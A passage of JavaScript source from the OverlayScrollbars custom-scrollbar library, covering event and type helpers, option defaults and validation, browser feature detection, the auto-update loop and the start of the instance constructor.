var strPage = 'page';
var strClient = 'client';
var strX = 'X';
var strY = 'Y';
var target = event.target || event.srcElement || document;
var eventDoc = target.ownerDocument || document;
var doc = eventDoc.documentElement;
var body = eventDoc.body;
//if touch event return return pageX/Y of it
if (event.touches !== undefined) {
var touch = event.touches[0];
return {
x: touch[strPage + strX],
y: touch[strPage + strY]
}
}
// Calculate pageX/Y if not native supported
if (!event[strPage + strX] && event[strClient + strX] && event[strClient + strX] != null) {
return {
x: event[strClient + strX] +
(doc && doc.scrollLeft || body && body.scrollLeft || 0) -
(doc && doc.clientLeft || body && body.clientLeft || 0),
y: event[strClient + strY] +
(doc && doc.scrollTop || body && body.scrollTop || 0) -
(doc && doc.clientTop || body && body.clientTop || 0)
}
}
return {
x: event[strPage + strX],
y: event[strPage + strY]
};
},
/**
* Gets the clicked mouse button of the given mouse event.
* @param event The mouse event of which the clicked button shal be got.
* @returns {number} The number of the clicked mouse button. (0 : none | 1 : leftButton | 2 : middleButton | 3 : rightButton)
*/
mBtn: function (event) {
var button = event.button;
if (!event.which && button !== undefined)
return (button & 1 ? 1 : (button & 2 ? 3 : (button & 4 ? 2 : 0)));
else
return event.which;
},
/**
* Checks whether a item is in the given array and returns its index.
* @param item The item of which the position in the array shall be determined.
* @param arr The array.
* @returns {number} The zero based index of the item or -1 if the item isn't in the array.
*/
inA: function (item, arr) {
for (var i = 0; i < arr[LEXICON.l]; i++)
//Sometiems in IE a "SCRIPT70" Permission denied error occurs if HTML elements in a iFrame are compared
try {
if (arr[i] === item)
return i;
}
catch (e) { }
return -1;
},
/**
* Returns true if the given value is a array.
* @param arr The potential array.
* @returns {boolean} True if the given value is a array, false otherwise.
*/
isA: function (arr) {
var def = Array.isArray;
return def ? def(arr) : this.type(arr) == TYPES.a;
},
/**
* Determine the internal JavaScript [[Class]] of the given object.
* @param obj The object of which the type shall be determined.
* @returns {string} The type of the given object.
*/
type: function (obj) {
if (obj === undefined)
return obj + '';
if (obj === null)
return obj + '';
return Object[LEXICON.p].toString.call(obj).replace(/^\[object (.+)\]$/, '$1').toLowerCase();
},
bind: bind
/**
* Gets the vendor-prefixed CSS property by the given name.
* For example the given name is "transform" and you're using a old Firefox browser then the returned value would be "-moz-transform".
* If the browser doesn't need a vendor-prefix, then the returned string is the given name.
* If the browser doesn't support the given property name at all (not even with a vendor-prefix) the returned value is null.
* @param propName The unprefixed CSS property name.
* @returns {string|null} The vendor-prefixed CSS property or null if the browser doesn't support the given CSS property.
cssProp: function(propName) {
return VENDORS._cssProperty(propName);
}
*/
}
})();
var MATH = Math;
var JQUERY = framework;
var EASING = framework.easing;
var FRAMEWORK = framework;
var INSTANCES = (function () {
var _targets = [];
var _instancePropertyString = '__overlayScrollbars__';
/**
* Register, unregister or get a certain (or all) instances.
* Register: Pass the target and the instance.
* Unregister: Pass the target and null.
* Get Instance: Pass the target from which the instance shall be got.
* Get Targets: Pass no arguments.
* @param target The target to which the instance shall be registered / from which the instance shall be unregistered / the instance shall be got
* @param instance The instance.
* @returns {*|void} Returns the instance from the given target.
*/
return function (target, instance) {
var argLen = arguments[LEXICON.l];
if (argLen < 1) {
//return all targets
return _targets;
}
else {
if (instance) {
//register instance
target[_instancePropertyString] = instance;
_targets.push(target);
}
else {
var index = COMPATIBILITY.inA(target, _targets);
if (index > -1) {
if (argLen > 1) {
//unregister instance
delete target[_instancePropertyString];
_targets.splice(index, 1);
}
else {
//get instance from target
return _targets[index][_instancePropertyString];
}
}
}
}
}
})();
var PLUGIN = (function () {
var _plugin;
var _pluginsGlobals;
var _pluginsAutoUpdateLoop;
var _pluginsExtensions = [];
var _pluginsOptions = (function () {
var type = COMPATIBILITY.type;
var possibleTemplateTypes = [
TYPES.b, //boolean
TYPES.n, //number
TYPES.s, //string
TYPES.a, //array
TYPES.o, //object
TYPES.f, //function
TYPES.z //null
];
var restrictedStringsSplit = ' ';
var restrictedStringsPossibilitiesSplit = ':';
var classNameAllowedValues = [TYPES.z, TYPES.s];
var numberAllowedValues = TYPES.n;
var booleanNullAllowedValues = [TYPES.z, TYPES.b];
var booleanTrueTemplate = [true, TYPES.b];
var booleanFalseTemplate = [false, TYPES.b];
var callbackTemplate = [null, [TYPES.z, TYPES.f]];
var updateOnLoadTemplate = [['img'], [TYPES.s, TYPES.a, TYPES.z]];
var inheritedAttrsTemplate = [['style', 'class'], [TYPES.s, TYPES.a, TYPES.z]];
var resizeAllowedValues = 'n:none b:both h:horizontal v:vertical';
var overflowBehaviorAllowedValues = 'v-h:visible-hidden v-s:visible-scroll s:scroll h:hidden';
var scrollbarsVisibilityAllowedValues = 'v:visible h:hidden a:auto';
var scrollbarsAutoHideAllowedValues = 'n:never s:scroll l:leave m:move';
var optionsDefaultsAndTemplate = {
className: ['os-theme-dark', classNameAllowedValues], //null || string
resize: ['none', resizeAllowedValues], //none || both || horizontal || vertical || n || b || h || v
sizeAutoCapable: booleanTrueTemplate, //true || false
clipAlways: booleanTrueTemplate, //true || false
normalizeRTL: booleanTrueTemplate, //true || false
paddingAbsolute: booleanFalseTemplate, //true || false
autoUpdate: [null, booleanNullAllowedValues], //true || false || null
autoUpdateInterval: [33, numberAllowedValues], //number
updateOnLoad: updateOnLoadTemplate, //string || array || null
nativeScrollbarsOverlaid: {
showNativeScrollbars: booleanFalseTemplate, //true || false
initialize: booleanTrueTemplate //true || false
},
overflowBehavior: {
x: ['scroll', overflowBehaviorAllowedValues], //visible-hidden || visible-scroll || hidden || scroll || v-h || v-s || h || s
y: ['scroll', overflowBehaviorAllowedValues] //visible-hidden || visible-scroll || hidden || scroll || v-h || v-s || h || s
},
scrollbars: {
visibility: ['auto', scrollbarsVisibilityAllowedValues], //visible || hidden || auto || v || h || a
autoHide: ['never', scrollbarsAutoHideAllowedValues], //never || scroll || leave || move || n || s || l || m
autoHideDelay: [800, numberAllowedValues], //number
dragScrolling: booleanTrueTemplate, //true || false
clickScrolling: booleanFalseTemplate, //true || false
touchSupport: booleanTrueTemplate, //true || false
snapHandle: booleanFalseTemplate //true || false
},
textarea: {
dynWidth: booleanFalseTemplate, //true || false
dynHeight: booleanFalseTemplate, //true || false
inheritedAttrs: inheritedAttrsTemplate //string || array || null
},
callbacks: {
onInitialized: callbackTemplate, //null || function
onInitializationWithdrawn: callbackTemplate, //null || function
onDestroyed: callbackTemplate, //null || function
onScrollStart: callbackTemplate, //null || function
onScroll: callbackTemplate, //null || function
onScrollStop: callbackTemplate, //null || function
onOverflowChanged: callbackTemplate, //null || function
onOverflowAmountChanged: callbackTemplate, //null || function
onDirectionChanged: callbackTemplate, //null || function
onContentSizeChanged: callbackTemplate, //null || function
onHostSizeChanged: callbackTemplate, //null || function
onUpdated: callbackTemplate //null || function
}
};
var convert = function (template) {
var recursive = function (obj) {
var key;
var val;
var valType;
for (key in obj) {
if (!obj[LEXICON.hOP](key))
continue;
val = obj[key];
valType = type(val);
if (valType == TYPES.a)
obj[key] = val[template ? 1 : 0];
else if (valType == TYPES.o)
obj[key] = recursive(val);
}
return obj;
};
return recursive(FRAMEWORK.extend(true, {}, optionsDefaultsAndTemplate));
};
return {
_defaults: convert(),
_template: convert(true),
/**
* Validates the passed object by the passed template.
* @param obj The object which shall be validated.
* @param template The template which defines the allowed values and types.
* @param writeErrors True if errors shall be logged to the console.
* @param diffObj If a object is passed then only valid differences to this object will be returned.
* @returns {{}} A object which contains two objects called "default" and "prepared" which contains only the valid properties of the passed original object and discards not different values compared to the passed diffObj.
*/
_validate: function (obj, template, writeErrors, diffObj) {
var validatedOptions = {};
var validatedOptionsPrepared = {};
var objectCopy = FRAMEWORK.extend(true, {}, obj);
var inArray = FRAMEWORK.inArray;
var isEmptyObj = FRAMEWORK.isEmptyObject;
var checkObjectProps = function (data, template, diffData, validatedOptions, validatedOptionsPrepared, prevPropName) {
for (var prop in template) {
if (template[LEXICON.hOP](prop) && data[LEXICON.hOP](prop)) {
var isValid = false;
var isDiff = false;
var templateValue = template[prop];
var templateValueType = type(templateValue);
var templateIsComplex = templateValueType == TYPES.o;
var templateTypes = !COMPATIBILITY.isA(templateValue) ? [templateValue] : templateValue;
var dataDiffValue = diffData[prop];
var dataValue = data[prop];
var dataValueType = type(dataValue);
var propPrefix = prevPropName ? prevPropName + '.' : '';
var error = "The option \"" + propPrefix + prop + "\" wasn't set, because";
var errorPossibleTypes = [];
var errorRestrictedStrings = [];
var restrictedStringValuesSplit;
var restrictedStringValuesPossibilitiesSplit;
var isRestrictedValue;
var mainPossibility;
var currType;
var i;
var v;
var j;
dataDiffValue = dataDiffValue === undefined ? {} : dataDiffValue;
//if the template has a object as value, it means that the options are complex (verschachtelt)
if (templateIsComplex && dataValueType == TYPES.o) {
validatedOptions[prop] = {};
validatedOptionsPrepared[prop] = {};
checkObjectProps(dataValue, templateValue, dataDiffValue, validatedOptions[prop], validatedOptionsPrepared[prop], propPrefix + prop);
FRAMEWORK.each([data, validatedOptions, validatedOptionsPrepared], function (index, value) {
if (isEmptyObj(value[prop])) {
delete value[prop];
}
});
}
else if (!templateIsComplex) {
for (i = 0; i < templateTypes[LEXICON.l]; i++) {
currType = templateTypes[i];
templateValueType = type(currType);
//if currtype is string and starts with restrictedStringPrefix and end with restrictedStringSuffix
isRestrictedValue = templateValueType == TYPES.s && inArray(currType, possibleTemplateTypes) === -1;
if (isRestrictedValue) {
errorPossibleTypes.push(TYPES.s);
//split it into a array which contains all possible values for example: ["y:yes", "n:no", "m:maybe"]
restrictedStringValuesSplit = currType.split(restrictedStringsSplit);
errorRestrictedStrings = errorRestrictedStrings.concat(restrictedStringValuesSplit);
for (v = 0; v < restrictedStringValuesSplit[LEXICON.l]; v++) {
//split the possible values into their possibiliteis for example: ["y", "yes"] -> the first is always the mainPossibility
restrictedStringValuesPossibilitiesSplit = restrictedStringValuesSplit[v].split(restrictedStringsPossibilitiesSplit);
mainPossibility = restrictedStringValuesPossibilitiesSplit[0];
for (j = 0; j < restrictedStringValuesPossibilitiesSplit[LEXICON.l]; j++) {
//if any possibility matches with the dataValue, its valid
if (dataValue === restrictedStringValuesPossibilitiesSplit[j]) {
isValid = true;
break;
}
}
if (isValid)
break;
}
}
else {
errorPossibleTypes.push(currType);
if (dataValueType === currType) {
isValid = true;
break;
}
}
}
if (isValid) {
isDiff = dataValue !== dataDiffValue;
if (isDiff)
validatedOptions[prop] = dataValue;
if (isRestrictedValue ? inArray(dataDiffValue, restrictedStringValuesPossibilitiesSplit) < 0 : isDiff)
validatedOptionsPrepared[prop] = isRestrictedValue ? mainPossibility : dataValue;
}
else if (writeErrors) {
console.warn(error + " it doesn't accept the type [ " + dataValueType.toUpperCase() + " ] with the value of \"" + dataValue + "\".\r\n" +
"Accepted types are: [ " + errorPossibleTypes.join(', ').toUpperCase() + " ]." +
(errorRestrictedStrings[length] > 0 ? "\r\nValid strings are: [ " + errorRestrictedStrings.join(', ').split(restrictedStringsPossibilitiesSplit).join(', ') + " ]." : ''));
}
delete data[prop];
}
}
}
};
checkObjectProps(objectCopy, template, diffObj || {}, validatedOptions, validatedOptionsPrepared);
//add values which aren't specified in the template to the finished validated object to prevent them from being discarded
/*
if(keepForeignProps) {
FRAMEWORK.extend(true, validatedOptions, objectCopy);
FRAMEWORK.extend(true, validatedOptionsPrepared, objectCopy);
}
*/
if (!isEmptyObj(objectCopy) && writeErrors)
console.warn('The following options are discarded due to invalidity:\r\n' + window.JSON.stringify(objectCopy, null, 2));
return {
_default: validatedOptions,
_prepared: validatedOptionsPrepared
};
}
}
}());
/**
* Initializes the object which contains global information about the plugin and each instance of it.
*/
function initOverlayScrollbarsStatics() {
if (!_pluginsGlobals)
_pluginsGlobals = new OverlayScrollbarsGlobals(_pluginsOptions._defaults);
if (!_pluginsAutoUpdateLoop)
_pluginsAutoUpdateLoop = new OverlayScrollbarsAutoUpdateLoop(_pluginsGlobals);
}
/**
* The global object for the OverlayScrollbars objects. It contains resources which every OverlayScrollbars object needs. This object is initialized only once: if the first OverlayScrollbars object gets initialized.
* @param defaultOptions
* @constructor
*/
function OverlayScrollbarsGlobals(defaultOptions) {
var _base = this;
var strOverflow = 'overflow';
var strHidden = 'hidden';
var strScroll = 'scroll';
var bodyElement = FRAMEWORK('body');
var scrollbarDummyElement = FRAMEWORK('<div id="os-dummy-scrollbar-size"><div></div></div>');
var scrollbarDummyElement0 = scrollbarDummyElement[0];
var dummyContainerChild = FRAMEWORK(scrollbarDummyElement.children('div').eq(0));
bodyElement.append(scrollbarDummyElement);
scrollbarDummyElement.hide().show(); //fix IE8 bug (incorrect measuring)
var nativeScrollbarSize = calcNativeScrollbarSize(scrollbarDummyElement0);
var nativeScrollbarIsOverlaid = {
x: nativeScrollbarSize.x === 0,
y: nativeScrollbarSize.y === 0
};
var msie = (function () {
var ua = window.navigator.userAgent;
var strIndexOf = 'indexOf';
var strSubString = 'substring';
var msie = ua[strIndexOf]('MSIE ');
var trident = ua[strIndexOf]('Trident/');
var edge = ua[strIndexOf]('Edge/');
var rv = ua[strIndexOf]('rv:');
var result;
var parseIntFunc = parseInt;
// IE 10 or older => return version number
if (msie > 0)
result = parseIntFunc(ua[strSubString](msie + 5, ua[strIndexOf]('.', msie)), 10);
// IE 11 => return version number
else if (trident > 0)
result = parseIntFunc(ua[strSubString](rv + 3, ua[strIndexOf]('.', rv)), 10);
// Edge (IE 12+) => return version number
else if (edge > 0)
result = parseIntFunc(ua[strSubString](edge + 5, ua[strIndexOf]('.', edge)), 10);
// other browser
return result;
})();
FRAMEWORK.extend(_base, {
defaultOptions: defaultOptions,
msie: msie,
autoUpdateLoop: false,
autoUpdateRecommended: !COMPATIBILITY.mO(),
nativeScrollbarSize: nativeScrollbarSize,
nativeScrollbarIsOverlaid: nativeScrollbarIsOverlaid,
nativeScrollbarStyling: (function () {
var result = false;
scrollbarDummyElement.addClass('os-viewport-native-scrollbars-invisible');
try {
result = (scrollbarDummyElement.css('scrollbar-width') === 'none' && (msie > 9 || !msie)) || window.getComputedStyle(scrollbarDummyElement0, '::-webkit-scrollbar').getPropertyValue('display') === 'none';
} catch (ex) { }
//fix opera bug: scrollbar styles will only appear if overflow value is scroll or auto during the activation of the style.
//and set overflow to scroll
//scrollbarDummyElement.css(strOverflow, strHidden).hide().css(strOverflow, strScroll).show();
//return (scrollbarDummyElement0[LEXICON.oH] - scrollbarDummyElement0[LEXICON.cH]) === 0 && (scrollbarDummyElement0[LEXICON.oW] - scrollbarDummyElement0[LEXICON.cW]) === 0;
return result;
})(),
overlayScrollbarDummySize: { x: 30, y: 30 },
cssCalc: VENDORS._cssPropertyValue('width', 'calc', '(1px)') || null,
restrictedMeasuring: (function () {
//https://bugzilla.mozilla.org/show_bug.cgi?id=1439305
//since 1.11.0 always false -> fixed via CSS (hopefully)
scrollbarDummyElement.css(strOverflow, strHidden);
var scrollSize = {
w: scrollbarDummyElement0[LEXICON.sW],
h: scrollbarDummyElement0[LEXICON.sH]
};
scrollbarDummyElement.css(strOverflow, 'visible');
var scrollSize2 = {
w: scrollbarDummyElement0[LEXICON.sW],
h: scrollbarDummyElement0[LEXICON.sH]
};
return (scrollSize.w - scrollSize2.w) !== 0 || (scrollSize.h - scrollSize2.h) !== 0;
})(),
rtlScrollBehavior: (function () {
scrollbarDummyElement.css({ 'overflow-y': strHidden, 'overflow-x': strScroll, 'direction': 'rtl' }).scrollLeft(0);
var dummyContainerOffset = scrollbarDummyElement.offset();
var dummyContainerChildOffset = dummyContainerChild.offset();
//https://github.com/KingSora/OverlayScrollbars/issues/187
scrollbarDummyElement.scrollLeft(-999);
var dummyContainerChildOffsetAfterScroll = dummyContainerChild.offset();
return {
//origin direction = determines if the zero scroll position is on the left or right side
//'i' means 'invert' (i === true means that the axis must be inverted to be correct)
//true = on the left side
//false = on the right side
i: dummyContainerOffset.left === dummyContainerChildOffset.left,
//negative = determines if the maximum scroll is positive or negative
//'n' means 'negate' (n === true means that the axis must be negated to be correct)
//true = negative
//false = positive
n: dummyContainerChildOffset.left !== dummyContainerChildOffsetAfterScroll.left
};
})(),
supportTransform: !!VENDORS._cssProperty('transform'),
supportTransition: !!VENDORS._cssProperty('transition'),
supportPassiveEvents: (function () {
var supportsPassive = false;
try {
window.addEventListener('test', null, Object.defineProperty({}, 'passive', {
get: function () {
supportsPassive = true;
}
}));
} catch (e) { }
return supportsPassive;
})(),
supportResizeObserver: !!COMPATIBILITY.rO(),
supportMutationObserver: !!COMPATIBILITY.mO()
});
scrollbarDummyElement.removeAttr(LEXICON.s).remove();
//Catch zoom event:
(function () {
if (nativeScrollbarIsOverlaid.x && nativeScrollbarIsOverlaid.y)
return;
var abs = MATH.abs;
var windowWidth = COMPATIBILITY.wW();
var windowHeight = COMPATIBILITY.wH();
var windowDpr = getWindowDPR();
var onResize = function () {
if (INSTANCES().length > 0) {
var newW = COMPATIBILITY.wW();
var newH = COMPATIBILITY.wH();
var deltaW = newW - windowWidth;
var deltaH = newH - windowHeight;
if (deltaW === 0 && deltaH === 0)
return;
var deltaWRatio = MATH.round(newW / (windowWidth / 100.0));
var deltaHRatio = MATH.round(newH / (windowHeight / 100.0));
var absDeltaW = abs(deltaW);
var absDeltaH = abs(deltaH);
var absDeltaWRatio = abs(deltaWRatio);
var absDeltaHRatio = abs(deltaHRatio);
var newDPR = getWindowDPR();
var deltaIsBigger = absDeltaW > 2 && absDeltaH > 2;
var difference = !differenceIsBiggerThanOne(absDeltaWRatio, absDeltaHRatio);
var dprChanged = newDPR !== windowDpr && windowDpr > 0;
var isZoom = deltaIsBigger && difference && dprChanged;
var oldScrollbarSize = _base.nativeScrollbarSize;
var newScrollbarSize;
if (isZoom) {
bodyElement.append(scrollbarDummyElement);
newScrollbarSize = _base.nativeScrollbarSize = calcNativeScrollbarSize(scrollbarDummyElement[0]);
scrollbarDummyElement.remove();
if (oldScrollbarSize.x !== newScrollbarSize.x || oldScrollbarSize.y !== newScrollbarSize.y) {
FRAMEWORK.each(INSTANCES(), function () {
if (INSTANCES(this))
INSTANCES(this).update('zoom');
});
}
}
windowWidth = newW;
windowHeight = newH;
windowDpr = newDPR;
}
};
function differenceIsBiggerThanOne(valOne, valTwo) {
var absValOne = abs(valOne);
var absValTwo = abs(valTwo);
return !(absValOne === absValTwo || absValOne + 1 === absValTwo || absValOne - 1 === absValTwo);
}
function getWindowDPR() {
var dDPI = window.screen.deviceXDPI || 0;
var sDPI = window.screen.logicalXDPI || 1;
return window.devicePixelRatio || (dDPI / sDPI);
}
FRAMEWORK(window).on('resize', onResize);
})();
function calcNativeScrollbarSize(measureElement) {
return {
x: measureElement[LEXICON.oH] - measureElement[LEXICON.cH],
y: measureElement[LEXICON.oW] - measureElement[LEXICON.cW]
};
}
}
/**
* The object which manages the auto update loop for all OverlayScrollbars objects. This object is initialized only once: if the first OverlayScrollbars object gets initialized.
* @constructor
*/
function OverlayScrollbarsAutoUpdateLoop(globals) {
var _base = this;
var _inArray = FRAMEWORK.inArray;
var _getNow = COMPATIBILITY.now;
var _strAutoUpdate = 'autoUpdate';
var _strAutoUpdateInterval = _strAutoUpdate + 'Interval';
var _strLength = LEXICON.l;
var _loopingInstances = [];
var _loopingInstancesIntervalCache = [];
var _loopIsActive = false;
var _loopIntervalDefault = 33;
var _loopInterval = _loopIntervalDefault;
var _loopTimeOld = _getNow();
var _loopID;
/**
* The auto update loop which will run every 50 milliseconds or less if the update interval of a instance is lower than 50 milliseconds.
*/
var loop = function () {
if (_loopingInstances[_strLength] > 0 && _loopIsActive) {
_loopID = COMPATIBILITY.rAF()(function () {
loop();
});
var timeNew = _getNow();
var timeDelta = timeNew - _loopTimeOld;
var lowestInterval;
var instance;
var instanceOptions;
var instanceAutoUpdateAllowed;
var instanceAutoUpdateInterval;
var now;
if (timeDelta > _loopInterval) {
_loopTimeOld = timeNew - (timeDelta % _loopInterval);
lowestInterval = _loopIntervalDefault;
for (var i = 0; i < _loopingInstances[_strLength]; i++) {
instance = _loopingInstances[i];
if (instance !== undefined) {
instanceOptions = instance.options();
instanceAutoUpdateAllowed = instanceOptions[_strAutoUpdate];
instanceAutoUpdateInterval = MATH.max(1, instanceOptions[_strAutoUpdateInterval]);
now = _getNow();
if ((instanceAutoUpdateAllowed === true || instanceAutoUpdateAllowed === null) && (now - _loopingInstancesIntervalCache[i]) > instanceAutoUpdateInterval) {
instance.update('auto');
_loopingInstancesIntervalCache[i] = new Date(now += instanceAutoUpdateInterval);
}
lowestInterval = MATH.max(1, MATH.min(lowestInterval, instanceAutoUpdateInterval));
}
}
_loopInterval = lowestInterval;
}
} else {
_loopInterval = _loopIntervalDefault;
}
};
/**
* Add OverlayScrollbars instance to the auto update loop. Only successful if the instance isn't already added.
* @param instance The instance which shall be updated in a loop automatically.
*/
_base.add = function (instance) {
if (_inArray(instance, _loopingInstances) === -1) {
_loopingInstances.push(instance);
_loopingInstancesIntervalCache.push(_getNow());
if (_loopingInstances[_strLength] > 0 && !_loopIsActive) {
_loopIsActive = true;
globals.autoUpdateLoop = _loopIsActive;
loop();
}
}
};
/**
* Remove OverlayScrollbars instance from the auto update loop. Only successful if the instance was added before.
* @param instance The instance which shall be updated in a loop automatically.
*/
_base.remove = function (instance) {
var index = _inArray(instance, _loopingInstances);
if (index > -1) {
//remove from loopingInstances list
_loopingInstancesIntervalCache.splice(index, 1);
_loopingInstances.splice(index, 1);
//correct update loop behavior
if (_loopingInstances[_strLength] === 0 && _loopIsActive) {
_loopIsActive = false;
globals.autoUpdateLoop = _loopIsActive;
if (_loopID !== undefined) {
COMPATIBILITY.cAF()(_loopID);
_loopID = -1;
}
}
}
};
}
/**
* A object which manages the scrollbars visibility of the target element.
* @param pluginTargetElement The element from which the scrollbars shall be hidden.
* @param options The custom options.
* @param extensions The custom extensions.
* @param globals
* @param autoUpdateLoop
* @returns {*}
* @constructor
*/
function OverlayScrollbarsInstance(pluginTargetElement, options, extensions, globals, autoUpdateLoop) {
//shortcuts
var type = COMPATIBILITY.type;
var inArray = FRAMEWORK.inArray;
var each = FRAMEWORK.each;
//make correct instanceof
var _base = new _plugin();
var _frameworkProto = FRAMEWORK[LEXICON.p];
//if passed element is no HTML element: skip and return
if (!isHTMLElement(pluginTargetElement))
return;
//if passed element is already initialized: set passed options if there are any and return its instance
if (INSTANCES(pluginTargetElement)) {
var inst = INSTANCES(pluginTargetElement);
inst.options(options);
return inst;
}
//globals:
var _nativeScrollbarIsOverlaid;
var _overlayScrollbarDummySize;
var _rtlScrollBehavior;
var _autoUpdateRecommended;
var _msieVersion;
var _nativeScrollbarStyling;
var _cssCalc;
var _nativeScrollbarSize;
var _supportTransition;
var _supportTransform;
var _supportPassiveEvents;
var _supportResizeObserver;
var _supportMutationObserver;
var _restrictedMeasuring;
//general readonly:
var _initialized;
var _destroyed;
var _isTextarea;
var _isBody;
var _documentMixed;
var _domExists;
//general:
var _isBorderBox;
var _sizeAutoObserverAdded;
var _paddingX;
var _paddingY;
var _borderX;
var _borderY;
var _marginX;
var _marginY;
var _isRTL;
var _sleeping;
var _contentBorderSize = {};
var _scrollHorizontalInfo = {};
var _scrollVerticalInfo = {};
var _viewportSize = {};
var _nativeScrollbarMinSize = {};
//naming:
var _strMinusHidden = '-hidden';
var _strMarginMinus = 'margin-';
var _strPaddingMinus = 'padding-';
var _strBorderMinus = 'border-';
var _strTop = 'top';
var _strRight = 'right';
var _strBottom = 'bottom';
var _strLeft = 'left';
var _strMinMinus = 'min-';
var _strMaxMinus = 'max-';
var _strWidth = 'width';
var _strHeight = 'height';
var _strFloat = 'float';
var _strEmpty = '';
var _strAuto = 'auto';
var _strSync = 'sync';
var _strScroll = 'scroll';
var _strHundredPercent = '100%';
var _strX = 'x';
var _strY = 'y';
var _strDot = '.';
var _strSpace = ' ';
var _strScrollbar = 'scrollbar';
var _strMinusHorizontal = '-horizontal';
var _strMinusVertical = '-vertical';
var _strScrollLeft = _strScroll + 'Left';
var _strScrollTop = _strScroll + 'Top';
var _strMouseTouchDownEvent = 'mousedown touchstart';
var _strMouseTouchUpEvent = 'mouseup touchend touchcancel';
var _strMouseTouchMoveEvent = 'mousemove touchmove';
var _strMouseEnter = 'mouseenter';
var _strMouseLeave = 'mouseleave';
var _strKeyDownEvent = 'keydown';
var _strKeyUpEvent = 'keyup';
var _strSelectStartEvent = 'selectstart';
var _strTransitionEndEvent = 'transitionend webkitTransitionEnd oTransitionEnd';
var _strResizeObserverProperty = '__overlayScrollbarsRO__';
//class names:
var _cassNamesPrefix = 'os-';
var _classNameHTMLElement = _cassNamesPrefix + 'html';
var _classNameHostElement = _cassNamesPrefix + 'host';
var _classNameHostElementForeign = _classNameHostElement + '-foreign';
var _classNameHostTextareaElement = _classNameHostElement + '-textarea';
var _classNameHostScrollbarHorizontalHidden = _classNameHostElement + '-' + _strScrollbar + _strMinusHorizontal + _strMinusHidden;
var _classNameHostScrollbarVerticalHidden = _classNameHostElement + '-' + _strScrollbar + _strMinusVertical + _strMinusHidden;
var _classNameHostTransition = _classNameHostElement + '-transition';
var _classNameHostRTL = _classNameHostElement + '-rtl';
var _classNameHostResizeDisabled = _classNameHostElement + '-resize-disabled';
var _classNameHostScrolling = _classNameHostElement + '-scrolling';
var _classNameHostOverflow = _classNameHostElement + '-overflow';
var _classNameHostOverflow = _classNameHostElement + '-overflow';
var _classNameHostOverflowX = _classNameHostOverflow + '-x';
var _classNameHostOverflowY = _classNameHostOverflow + '-y';
var _classNameTextareaElement = _cassNamesPrefix + 'textarea';
var _classNameTextareaCoverElement = _classNameTextareaElement + '-cover';
var _classNamePaddingElement = _cassNamesPrefix + 'padding';
var _classNameViewportElement = _cassNamesPrefix + 'viewport';
var _classNameViewportNativeScrollbarsInvisible = _classNameViewportElement + '-native-scrollbars-invisible';
var _classNameViewportNativeScrollbarsOverlaid = _classNameViewportElement + '-native-scrollbars-overlaid';
var _classNameContentElement = _cassNamesPrefix + 'content';
var _classNameContentArrangeElement = _cassNamesPrefix + 'content-arrange';
var _classNameContentGlueElement = _cassNamesPrefix + 'content-glue';
var _classNameSizeAutoObserverElement = _cassNamesPrefix + 'size-auto-observer';
var _classNameResizeObserverElement = _cassNamesPrefix + 'resize-observer';
var _classNameResizeObserverItemElement = _cassNamesPrefix + 'resize-observer-item';
var _classNameResizeObserverItemFinalElement = _classNameResizeObserverItemElement + '-final';
var _classNameTextInherit = _cassNamesPrefix + 'text-inherit';
var _classNameScrollbar = _cassNamesPrefix + _strScrollbar;
var _classNameScrollbarTrack = _classNameScrollbar + '-track';
var _classNameScrollbarTrackOff = _classNameScrollbarTrack + '-off';
var _classNameScrollbarHandle = _classNameScrollbar + '-handle';
var _classNameScrollbarHandleOff = _classNameScrollbarHandle + '-off';
var _classNameScrollbarUnusable = _classNameScrollbar + '-unusable';
var _classNameScrollbarAutoHidden = _classNameScrollbar + '-' + _strAuto + _strMinusHidden;
var _classNameScrollbarCorner = _classNameScrollbar + '-corner';
var _classNameScrollbarCornerResize = _classNameScrollbarCorner + '-resize';
var _classNameScrollbarCornerResizeB = _classNameScrollbarCornerResize + '-both';
var _classNameScrollbarCornerResizeH = _classNameScrollbarCornerResize + _strMinusHorizontal;
var _classNameScrollbarCornerResizeV = _classNameScrollbarCornerResize + _strMinusVertical;
var _classNameScrollbarHorizontal = _classNameScrollbar + _strMinusHorizontal;
var _classNameScrollbarVertical = _classNameScrollbar + _strMinusVertical;
var _classNameDragging = _cassNamesPrefix + 'dragging';
var _classNameThemeNone = _cassNamesPrefix + 'theme-none';
var _classNamesDynamicDestroy = [
_classNameViewportNativeScrollbarsInvisible,
_classNameViewportNativeScrollbarsOverlaid,
_classNameScrollbarTrackOff,
_classNameScrollbarHandleOff,
_classNameScrollbarUnusable,
_classNameScrollbarAutoHidden,
_classNameScrollbarCornerResize,
_classNameScrollbarCornerResizeB,
_classNameScrollbarCornerResizeH,
_classNameScrollbarCornerResizeV,
_classNameDragging].join(_strSpace);
//callbacks:
var _callbacksInitQeueue = [];
//attrs viewport shall inherit from target
var _viewportAttrsFromTarget = [LEXICON.ti];
//options:
var _defaultOptions;
var _currentOptions;
var _currentPreparedOptions;
//extensions:
var _extensions = {};
var _extensionsPrivateMethods = 'added removed on contract';
//update
var _lastUpdateTime;
var _swallowedUpdateHints = {};
var _swallowedUpdateTimeout;
var _swallowUpdateLag = 42;
var _updateOnLoadEventName = 'load';
var _updateOnLoadElms = [];
//DOM elements:
var _windowElement;
var _documentElement;
var _htmlElement;
var _bodyElement;
var _targetElement; //the target element of this OverlayScrollbars object
var _hostElement; //the host element of this OverlayScrollbars object -> may be the same as targetElement
var _sizeAutoObserverElement; //observes size auto changes
var _sizeObserverElement; //observes size and padding changes
var _paddingElement; //manages the padding
var _viewportElement; //is the viewport of our scrollbar model
var _contentElement; //the element which holds the content
var _contentArrangeElement; //is needed for correct sizing of the content element (only if native scrollbars are overlays)
var _contentGlueElement; //has always the size of the content element
var _textareaCoverElement; //only applied if target is a textarea element. Used for correct size calculation and for prevention of uncontrolled scrolling
var _scrollbarCornerElement;
var _scrollbarHorizontalElement;
var _scrollbarHorizontalTrackElement;
var _scrollbarHorizontalHandleElement;
var _scrollbarVerticalElement;
var _scrollbarVerticalTrackElement;
var _scrollbarVerticalHandleElement;
var _windowElementNative;
var _documentElementNative;
var _targetElementNative;
var _hostElementNative;
var _sizeAutoObserverElementNative;
var _sizeObserverElementNative;
var _paddingElementNative;
var _viewportElementNative;
var _contentElementNative;
//Cache:
var _hostSizeCache;
var _contentScrollSizeCache;
var _arrangeContentSizeCache;
var _hasOverflowCache;
var _hideOverflowCache;
var _widthAutoCache;
var _heightAutoCache;
var _cssBoxSizingCache;
var _cssPaddingCache;
var _cssBorderCache;
var _cssMarginCache;
var _cssDirectionCache;
var _cssDirectionDetectedCache;
